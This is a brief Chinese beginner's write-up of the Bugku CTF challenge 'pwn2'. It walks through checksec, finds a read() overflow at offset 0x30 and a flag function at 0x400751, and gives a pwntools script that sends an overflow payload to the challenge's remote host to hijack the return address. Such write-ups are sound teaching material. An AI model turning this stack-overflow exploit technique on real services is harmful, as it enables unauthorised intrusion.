bugku中pwn2的write up
作为一个初出茅庐的菜鸟,做几个简单的pwn题练一下,正好学一下基础知识。
首先来看这道题,checksec一下,我们发现,没有打开什么保护。
运行一下,看看需要在哪里插入payload。
注意这里需要先赋予运行权限,笔者作为新手犯了几次错误。
把程序放进IDA中看一下套路流程。
我们在read函数这里可以使程序溢出。也看到ebp的位置,偏移量为0x30。
很明显地发现了得到flag的函数:
得到地址0x0000000000400751。
开始构造exp。
from pwn import *
p = remote("114.116.54.89","10003")
p.recvuntil("?")
payload=0x30*'a'+8*'a'+p64(0x0000000000400751)
p.sendline(payload)
p.interactive()
注:这里的8*'a’是用来覆盖ebp的。
最后效果如下:
这道题目属于比较简单的栈溢出。